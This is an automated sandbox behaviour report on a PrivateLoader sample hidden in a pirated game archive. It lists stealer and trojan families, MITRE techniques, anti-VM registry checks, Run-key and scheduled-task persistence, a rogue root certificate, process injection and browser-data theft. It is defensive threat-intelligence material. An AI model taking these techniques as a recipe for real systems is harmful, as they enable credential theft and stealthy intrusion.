privateloader | 22aebbc3e521b597103513af842c541c66ada5e0060a07878440abf89e708b46

Windows Service

T1543.003

Processes:

setup.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	setup.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/3832-234-0x0000000000400000-0x0000000000452000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

T1497

Processes:

setup.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow	pid	Process
199	3676	powershell.exe
204	2916	powershell.exe
206	2916	powershell.exe
226	3700	powershell.exe
228	3700	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
3596	powershell.exe
5084	powershell.exe
6128	powershell.exe
2916	powershell.exe
3700	powershell.exe
3676	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

Processes:

resource	yara_rule
behavioral1/files/0x0007000000023470-163.dat	net_reactor
behavioral1/memory/1108-223-0x0000000000FD0000-0x000000000134E000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

Install.exesetup.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Install.exesetup.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	setup.exe

Drops startup file 1 IoCs

Processes:

lKSqTJcm_Cf5uoLE_rJlMm9X.exe

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNT.lnk	lKSqTJcm_Cf5uoLE_rJlMm9X.exe

Executes dropped EXE 24 IoCs

Processes:

setup.exeuBzB21gRaBCu4H8yUqct1nh5.exelKSqTJcm_Cf5uoLE_rJlMm9X.exeY_7lx3qbW8Cc5FJCkgxhON9a.exerWY00BTVMcYAYs88zigHdVER.exeAyxJNOQHL9N1vrYlI26EL0vt.exeM9t70m9l2GWmJQ9HGwtq1O7B.exe_b66BKpWGl_AANYbhK6JGC5u.exeCqWTZWLU9Ugh8d16tHa8dRGv.exeakyR2rcV7zbcm3y7o4EZuROd.exeP_qunqSD2lV8ZrnT2ae1YWI6.exeCbg2h2gIETpIIX8v76vjfnoi.exeBUaQi4cP1zyljDx396pYQARx.exeGvj0dmnTTvIZM6cWpErE13Av.exeGvj0dmnTTvIZM6cWpErE13Av.tmpInstall.exeInstall.exevoicemod32.exevoicemod32.exei0.exei0.tmpbkqtzupkspiy.exeInstall.exeopenssl.exe

pid	Process
1644	setup.exe
1108	uBzB21gRaBCu4H8yUqct1nh5.exe
1580	lKSqTJcm_Cf5uoLE_rJlMm9X.exe
3600	Y_7lx3qbW8Cc5FJCkgxhON9a.exe
3660	rWY00BTVMcYAYs88zigHdVER.exe
3248	AyxJNOQHL9N1vrYlI26EL0vt.exe
1388	M9t70m9l2GWmJQ9HGwtq1O7B.exe
2840	_b66BKpWGl_AANYbhK6JGC5u.exe
4368	CqWTZWLU9Ugh8d16tHa8dRGv.exe
4984	akyR2rcV7zbcm3y7o4EZuROd.exe
3112	P_qunqSD2lV8ZrnT2ae1YWI6.exe
3320	Cbg2h2gIETpIIX8v76vjfnoi.exe
4384	BUaQi4cP1zyljDx396pYQARx.exe
3648	Gvj0dmnTTvIZM6cWpErE13Av.exe
628	Gvj0dmnTTvIZM6cWpErE13Av.tmp
928	Install.exe
3052	Install.exe
4816	voicemod32.exe
4600	voicemod32.exe
4100	i0.exe
4920	i0.tmp
3616	bkqtzupkspiy.exe
164	Install.exe
2796	openssl.exe

Loads dropped DLL 7 IoCs

Processes:

Cbg2h2gIETpIIX8v76vjfnoi.exeGvj0dmnTTvIZM6cWpErE13Av.tmpuBzB21gRaBCu4H8yUqct1nh5.exeopenssl.exe

pid	Process
3320	Cbg2h2gIETpIIX8v76vjfnoi.exe
628	Gvj0dmnTTvIZM6cWpErE13Av.tmp
628	Gvj0dmnTTvIZM6cWpErE13Av.tmp
628	Gvj0dmnTTvIZM6cWpErE13Av.tmp
1108	uBzB21gRaBCu4H8yUqct1nh5.exe
2796	openssl.exe
2796	openssl.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/1644-6-0x0000000140000000-0x0000000140A55000-memory.dmp	themida
behavioral1/memory/1644-14-0x0000000140000000-0x0000000140A55000-memory.dmp	themida
behavioral1/memory/1644-134-0x0000000140000000-0x0000000140A55000-memory.dmp	themida
behavioral1/memory/1644-143-0x0000000140000000-0x0000000140A55000-memory.dmp	themida
behavioral1/memory/1644-168-0x0000000140000000-0x0000000140A55000-memory.dmp	themida
behavioral1/memory/1644-364-0x0000000140000000-0x0000000140A55000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

BUaQi4cP1zyljDx396pYQARx.exelKSqTJcm_Cf5uoLE_rJlMm9X.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RageMP131 = "C:\\Users\\Admin\\AppData\\Local\\RageMP131\\RageMP131.exe"	BUaQi4cP1zyljDx396pYQARx.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ExtreamFanV5 = "C:\\Users\\Admin\\AppData\\Local\\ExtreamFanV5\\ExtreamFanV5.exe"	lKSqTJcm_Cf5uoLE_rJlMm9X.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

Processes:

setup.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

Processes:

flow	ioc
170	iplogger.org
171	iplogger.org

Looks up external IP address via web service 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
233	ipinfo.io
234	ipinfo.io
236	checkip.amazonaws.com
238	checkip.amazonaws.com
44	api.myip.com
45	api.myip.com
48	ipinfo.io
49	ipinfo.io

Drops file in System32 directory 4 IoCs

Processes:

setup.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\GroupPolicy	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	setup.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	setup.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

setup.exeBUaQi4cP1zyljDx396pYQARx.exe

pid	Process
1644	setup.exe
4384	BUaQi4cP1zyljDx396pYQARx.exe
4384	BUaQi4cP1zyljDx396pYQARx.exe
4384	BUaQi4cP1zyljDx396pYQARx.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

CqWTZWLU9Ugh8d16tHa8dRGv.exeuBzB21gRaBCu4H8yUqct1nh5.exebkqtzupkspiy.exe

description	pid	Process	procid_target
PID 4368 set thread context of 3832	4368	CqWTZWLU9Ugh8d16tHa8dRGv.exe	119
PID 1108 set thread context of 1072	1108	uBzB21gRaBCu4H8yUqct1nh5.exe	157
PID 3616 set thread context of 5224	3616	bkqtzupkspiy.exe	203
PID 3616 set thread context of 5292	3616	bkqtzupkspiy.exe	207

Drops file in Program Files directory 8 IoCs

Processes:

chrome.exechrome.exei0.tmp

description	ioc	Process
File created	C:\Program Files\scoped_dir5560_1586316086\extension.zip	chrome.exe
File created	C:\Program Files\scoped_dir4452_1343954390\extension.zip	chrome.exe
File created	C:\Program Files\Google\Chrome\Application\chrome.exe.manifest	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest	i0.tmp
File opened for modification	C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\dlls\Shlwapi.dll	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\Extensions\security.crx	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\Extensions\updates.xml	i0.tmp

Drops file in Windows directory 1 IoCs

Processes:

schtasks.exe

description	ioc	Process
File created	C:\Windows\Tasks\butYHpXTvMdZIJsEKZ.job	schtasks.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid	Process
2156	sc.exe
2752	sc.exe
2092	sc.exe
2052	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
5808	5348	WerFault.exe	248

Checks processor information in registry 2 TTPs 1 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

P_qunqSD2lV8ZrnT2ae1YWI6.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	P_qunqSD2lV8ZrnT2ae1YWI6.exe

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	Process
2796	schtasks.exe
5724	schtasks.exe
5076	schtasks.exe
4828	schtasks.exe
3744	schtasks.exe
1652	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

Install.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Kills process with taskkill 2 IoCs

evasion

Processes:

taskkill.exetaskkill.exe

pid	Process
1880	taskkill.exe
5132	taskkill.exe

Modifies data under HKEY_USERS 8 IoCs

Processes:

Install.exe

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	Install.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	Install.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	Install.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = fb9a790967add111abcd00c04fc30936cb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Install.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = fb9a790967add111abcd00c04fc30936cb0000006024b221ea3a6910a2dc08002b30309d97010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	Install.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	Install.exe

Modifies registry class 2 IoCs

Processes:

cmd.exeOpenWith.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	OpenWith.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

RegAsm.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	212	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	240	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 55 IoCs

Processes:

lKSqTJcm_Cf5uoLE_rJlMm9X.exeM9t70m9l2GWmJQ9HGwtq1O7B.exerWY00BTVMcYAYs88zigHdVER.exe_b66BKpWGl_AANYbhK6JGC5u.exepowershell.exepowershell.exepowershell.exeP_qunqSD2lV8ZrnT2ae1YWI6.exepowershell.exepowershell.exeRegAsm.exeMsBuild.exebkqtzupkspiy.exe

pid	Process
1580	lKSqTJcm_Cf5uoLE_rJlMm9X.exe
1580	lKSqTJcm_Cf5uoLE_rJlMm9X.exe
1388	M9t70m9l2GWmJQ9HGwtq1O7B.exe
1388	M9t70m9l2GWmJQ9HGwtq1O7B.exe
3660	rWY00BTVMcYAYs88zigHdVER.exe
3660	rWY00BTVMcYAYs88zigHdVER.exe
3660	rWY00BTVMcYAYs88zigHdVER.exe
3660	rWY00BTVMcYAYs88zigHdVER.exe
2840	_b66BKpWGl_AANYbhK6JGC5u.exe
2840	_b66BKpWGl_AANYbhK6JGC5u.exe
3596	powershell.exe
3596	powershell.exe
3596	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
3112	P_qunqSD2lV8ZrnT2ae1YWI6.exe
3112	P_qunqSD2lV8ZrnT2ae1YWI6.exe
5084	powershell.exe
5084	powershell.exe
3700	powershell.exe
3700	powershell.exe
3700	powershell.exe
5084	powershell.exe
3832	RegAsm.exe
3832	RegAsm.exe
1388	M9t70m9l2GWmJQ9HGwtq1O7B.exe
1388	M9t70m9l2GWmJQ9HGwtq1O7B.exe
1388	M9t70m9l2GWmJQ9HGwtq1O7B.exe
1388	M9t70m9l2GWmJQ9HGwtq1O7B.exe
1388	M9t70m9l2GWmJQ9HGwtq1O7B.exe
3832	RegAsm.exe
3832	RegAsm.exe
1388	M9t70m9l2GWmJQ9HGwtq1O7B.exe
1388	M9t70m9l2GWmJQ9HGwtq1O7B.exe
1388	M9t70m9l2GWmJQ9HGwtq1O7B.exe
1072	MsBuild.exe
1072	MsBuild.exe
1072	MsBuild.exe
1072	MsBuild.exe
1072	MsBuild.exe
1072	MsBuild.exe
3616	bkqtzupkspiy.exe
3616	bkqtzupkspiy.exe
3616	bkqtzupkspiy.exe
3616	bkqtzupkspiy.exe
3616	bkqtzupkspiy.exe
3616	bkqtzupkspiy.exe
3616	bkqtzupkspiy.exe
3616	bkqtzupkspiy.exe
3832	RegAsm.exe
3832	RegAsm.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

OpenWith.exe

pid	Process
2912	OpenWith.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7zG.exepowershell.exepowershell.exepowershell.exeMsBuild.exepowershell.exepowershell.exeWMIC.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	Process
Token: SeRestorePrivilege	1808	7zG.exe
Token: 35	1808	7zG.exe
Token: SeSecurityPrivilege	1808	7zG.exe
Token: SeSecurityPrivilege	1808	7zG.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	1072	MsBuild.exe
Token: SeBackupPrivilege	1072	MsBuild.exe
Token: SeSecurityPrivilege	1072	MsBuild.exe
Token: SeSecurityPrivilege	1072	MsBuild.exe
Token: SeSecurityPrivilege	1072	MsBuild.exe
Token: SeSecurityPrivilege	1072	MsBuild.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	3700	powershell.exe
Token: SeIncreaseQuotaPrivilege	3196	WMIC.exe
Token: SeSecurityPrivilege	3196	WMIC.exe
Token: SeTakeOwnershipPrivilege	3196	WMIC.exe
Token: SeLoadDriverPrivilege	3196	WMIC.exe
Token: SeSystemProfilePrivilege	3196	WMIC.exe
Token: SeSystemtimePrivilege	3196	WMIC.exe
Token: SeProfSingleProcessPrivilege	3196	WMIC.exe
Token: SeIncBasePriorityPrivilege	3196	WMIC.exe
Token: SeCreatePagefilePrivilege	3196	WMIC.exe
Token: SeBackupPrivilege	3196	WMIC.exe
Token: SeRestorePrivilege	3196	WMIC.exe
Token: SeShutdownPrivilege	3196	WMIC.exe
Token: SeDebugPrivilege	3196	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3196	WMIC.exe
Token: SeRemoteShutdownPrivilege	3196	WMIC.exe
Token: SeUndockPrivilege	3196	WMIC.exe
Token: SeManageVolumePrivilege	3196	WMIC.exe
Token: 33	3196	WMIC.exe
Token: 34	3196	WMIC.exe
Token: 35	3196	WMIC.exe
Token: 36	3196	WMIC.exe
Token: SeShutdownPrivilege	3396	powercfg.exe
Token: SeCreatePagefilePrivilege	3396	powercfg.exe
Token: SeShutdownPrivilege	1776	powercfg.exe
Token: SeCreatePagefilePrivilege	1776	powercfg.exe
Token: SeShutdownPrivilege	4816	powercfg.exe
Token: SeCreatePagefilePrivilege	4816	powercfg.exe
Token: SeShutdownPrivilege	2744	powercfg.exe
Token: SeCreatePagefilePrivilege	2744	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3196	WMIC.exe
Token: SeSecurityPrivilege	3196	WMIC.exe
Token: SeTakeOwnershipPrivilege	3196	WMIC.exe
Token: SeLoadDriverPrivilege	3196	WMIC.exe
Token: SeSystemProfilePrivilege	3196	WMIC.exe
Token: SeSystemtimePrivilege	3196	WMIC.exe
Token: SeProfSingleProcessPrivilege	3196	WMIC.exe
Token: SeIncBasePriorityPrivilege	3196	WMIC.exe
Token: SeCreatePagefilePrivilege	3196	WMIC.exe
Token: SeBackupPrivilege	3196	WMIC.exe
Token: SeRestorePrivilege	3196	WMIC.exe
Token: SeShutdownPrivilege	3196	WMIC.exe
Token: SeDebugPrivilege	3196	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3196	WMIC.exe
Token: SeRemoteShutdownPrivilege	3196	WMIC.exe
Token: SeUndockPrivilege	3196	WMIC.exe
Token: SeManageVolumePrivilege	3196	WMIC.exe
Token: 33	3196	WMIC.exe
Token: 34	3196	WMIC.exe
Token: 35	3196	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

7zG.exe

pid	Process
1808	7zG.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

OpenWith.exeBUaQi4cP1zyljDx396pYQARx.exe

pid	Process
2912	OpenWith.exe
2912	OpenWith.exe
2912	OpenWith.exe
2912	OpenWith.exe
2912	OpenWith.exe
2912	OpenWith.exe
2912	OpenWith.exe
4384	BUaQi4cP1zyljDx396pYQARx.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup.exeGvj0dmnTTvIZM6cWpErE13Av.exeCqWTZWLU9Ugh8d16tHa8dRGv.exeakyR2rcV7zbcm3y7o4EZuROd.exeBUaQi4cP1zyljDx396pYQARx.exeInstall.exeGvj0dmnTTvIZM6cWpErE13Av.tmplKSqTJcm_Cf5uoLE_rJlMm9X.exe

description	pid	Process	procid_target
PID 1644 wrote to memory of 1108	1644	setup.exe	105
PID 1644 wrote to memory of 1108	1644	setup.exe	105
PID 1644 wrote to memory of 1108	1644	setup.exe	105
PID 1644 wrote to memory of 1580	1644	setup.exe	106
PID 1644 wrote to memory of 1580	1644	setup.exe	106
PID 1644 wrote to memory of 1580	1644	setup.exe	106
PID 1644 wrote to memory of 3648	1644	setup.exe	107
PID 1644 wrote to memory of 3648	1644	setup.exe	107
PID 1644 wrote to memory of 3648	1644	setup.exe	107
PID 1644 wrote to memory of 3600	1644	setup.exe	109
PID 1644 wrote to memory of 3600	1644	setup.exe	109
PID 1644 wrote to memory of 3600	1644	setup.exe	109
PID 1644 wrote to memory of 3660	1644	setup.exe	108
PID 1644 wrote to memory of 3660	1644	setup.exe	108
PID 1644 wrote to memory of 3660	1644	setup.exe	108
PID 1644 wrote to memory of 3248	1644	setup.exe	110
PID 1644 wrote to memory of 3248	1644	setup.exe	110
PID 1644 wrote to memory of 3248	1644	setup.exe	110
PID 1644 wrote to memory of 1388	1644	setup.exe	117
PID 1644 wrote to memory of 1388	1644	setup.exe	117
PID 1644 wrote to memory of 2840	1644	setup.exe	116
PID 1644 wrote to memory of 2840	1644	setup.exe	116
PID 1644 wrote to memory of 2840	1644	setup.exe	116
PID 1644 wrote to memory of 4368	1644	setup.exe	114
PID 1644 wrote to memory of 4368	1644	setup.exe	114
PID 1644 wrote to memory of 4368	1644	setup.exe	114
PID 1644 wrote to memory of 4984	1644	setup.exe	112
PID 1644 wrote to memory of 4984	1644	setup.exe	112
PID 1644 wrote to memory of 4984	1644	setup.exe	112
PID 1644 wrote to memory of 3112	1644	setup.exe	115
PID 1644 wrote to memory of 3112	1644	setup.exe	115
PID 1644 wrote to memory of 3112	1644	setup.exe	115
PID 1644 wrote to memory of 3320	1644	setup.exe	111
PID 1644 wrote to memory of 3320	1644	setup.exe	111
PID 1644 wrote to memory of 3320	1644	setup.exe	111
PID 1644 wrote to memory of 4384	1644	setup.exe	113
PID 1644 wrote to memory of 4384	1644	setup.exe	113
PID 1644 wrote to memory of 4384	1644	setup.exe	113
PID 3648 wrote to memory of 628	3648	Gvj0dmnTTvIZM6cWpErE13Av.exe	118
PID 3648 wrote to memory of 628	3648	Gvj0dmnTTvIZM6cWpErE13Av.exe	118
PID 3648 wrote to memory of 628	3648	Gvj0dmnTTvIZM6cWpErE13Av.exe	118
PID 4368 wrote to memory of 3832	4368	CqWTZWLU9Ugh8d16tHa8dRGv.exe	119
PID 4368 wrote to memory of 3832	4368	CqWTZWLU9Ugh8d16tHa8dRGv.exe	119
PID 4368 wrote to memory of 3832	4368	CqWTZWLU9Ugh8d16tHa8dRGv.exe	119
PID 4368 wrote to memory of 3832	4368	CqWTZWLU9Ugh8d16tHa8dRGv.exe	119
PID 4368 wrote to memory of 3832	4368	CqWTZWLU9Ugh8d16tHa8dRGv.exe	119
PID 4368 wrote to memory of 3832	4368	CqWTZWLU9Ugh8d16tHa8dRGv.exe	119
PID 4368 wrote to memory of 3832	4368	CqWTZWLU9Ugh8d16tHa8dRGv.exe	119
PID 4368 wrote to memory of 3832	4368	CqWTZWLU9Ugh8d16tHa8dRGv.exe	119
PID 4984 wrote to memory of 928	4984	akyR2rcV7zbcm3y7o4EZuROd.exe	120
PID 4984 wrote to memory of 928	4984	akyR2rcV7zbcm3y7o4EZuROd.exe	120
PID 4984 wrote to memory of 928	4984	akyR2rcV7zbcm3y7o4EZuROd.exe	120
PID 4384 wrote to memory of 5076	4384	BUaQi4cP1zyljDx396pYQARx.exe	121
PID 4384 wrote to memory of 5076	4384	BUaQi4cP1zyljDx396pYQARx.exe	121
PID 4384 wrote to memory of 5076	4384	BUaQi4cP1zyljDx396pYQARx.exe	121
PID 928 wrote to memory of 3052	928	Install.exe	123
PID 928 wrote to memory of 3052	928	Install.exe	123
PID 928 wrote to memory of 3052	928	Install.exe	123
PID 628 wrote to memory of 4816	628	Gvj0dmnTTvIZM6cWpErE13Av.tmp	169
PID 628 wrote to memory of 4816	628	Gvj0dmnTTvIZM6cWpErE13Av.tmp	169
PID 628 wrote to memory of 4816	628	Gvj0dmnTTvIZM6cWpErE13Av.tmp	169
PID 1580 wrote to memory of 1652	1580	lKSqTJcm_Cf5uoLE_rJlMm9X.exe	125
PID 1580 wrote to memory of 1652	1580	lKSqTJcm_Cf5uoLE_rJlMm9X.exe	125
PID 1580 wrote to memory of 1652	1580	lKSqTJcm_Cf5uoLE_rJlMm9X.exe	125

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Marvels_Spider-Man_Remastered_PC_Full_Español_2022.rar
1⤵
- Modifies registry class
PID:4048

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2912

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\Marvels_Spider-Man_Remastered_PC_Full_Español_2022\" -ad -an -ai#7zMap2868:158:7zEvent2325
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1808

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4112

C:\Users\Admin\Desktop\Marvels_Spider-Man_Remastered_PC_Full_Español_2022\setup.exe
